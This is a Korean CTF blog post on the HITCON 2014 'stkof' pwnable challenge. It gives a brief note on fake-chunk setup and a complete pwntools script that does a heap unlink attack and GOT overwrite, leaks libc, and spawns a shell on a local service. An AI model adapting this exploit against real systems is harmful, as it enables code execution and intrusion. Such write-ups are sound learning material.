Notice
Recent Posts
Recent Comments
Link
«   2025/05   »
1 2 3
4 5 6 7 8 9 10
11 12 13 14 15 16 17
18 19 20 21 22 23 24
25 26 27 28 29 30 31
Tags
more
Archives
Today
Total
관리 메뉴

cdor1's lab

HITCON 2014 stkof 본문

Security/Pwnable

HITCON 2014 stkof

Cdor1 2017. 1. 20. 00:03

후기 : fake chunk구성해줄때 되게 힘들었다.

prev_size부분을 0x90으로 주면 될 줄 알았는데 malloc과정에서 착각이 일어나는지

size와 prev_size부분까지 더한 크기가 아닌 실제로 입력할 수 있는 크기(0x80)을 prev_size로 주니 제대로 unlink가 진행되었다.

나중에 malloc.c를 분석하면서 알아내 봐야겠다.



from pwn import *
s = remote('localhost',4000)
elf = ELF('/home/cdor1/pwnable/stkof')
def malloc(size):
        s.sendline('1')
        s.sendline(str(size))
        print s.recvuntil('OK')
 
def modify(num,size,data):
        s.sendline('2')
        s.sendline(str(num))
        s.sendline(str(size))
        s.sendline(data)
        print s.recvuntil('OK')
 
def delete(num):
        s.sendline('3')
        s.sendline(str(num))
        print s.recvuntil('OK')

malloc(0x80)
malloc(0x80)
malloc(0x80)

payload = p64(0)
payload += p64(0x91)
payload += p64(0x602148 - 0x18)
payload += p64(0x602148 - 0x10)
payload += 'A'*0x60

payload += p64(0x80)
payload += p64(0x90)

modify(1,len(payload),payload)
delete(2)

payload = p64(0)*2
payload += p64(elf.got['puts'])
payload += p64(elf.got['strlen'])
modify(1,len(payload),payload)
modify(1,8,p64(elf.plt['puts']))

s.sendline('4')
s.sendline('0')

print s.recvuntil('FAIL\n')
leak = u64(s.recv(6).ljust(8,'\x00'))
base = leak - 0x6FD60
system = base + 0x46590
log.info('leak : ' + hex(leak))
log.info('base : ' + hex(base))
log.info('system : ' + hex(system))

modify(1,8,p64(system))
modify(3,8,'/bin/sh\x00')
s.sendline('4')
s.sendline('3')
s.interactive()

'Security > Pwnable' 카테고리의 다른 글

YISF 2016 pwn200  (0) 2017.01.21
WITHCON Final jnjn  (0) 2017.01.20
TJCTF blag  (0) 2017.01.19
Hack.lu CTF 2014 OREO  (0) 2017.01.18
9447 CTF search engine  (0) 2017.01.18
Comments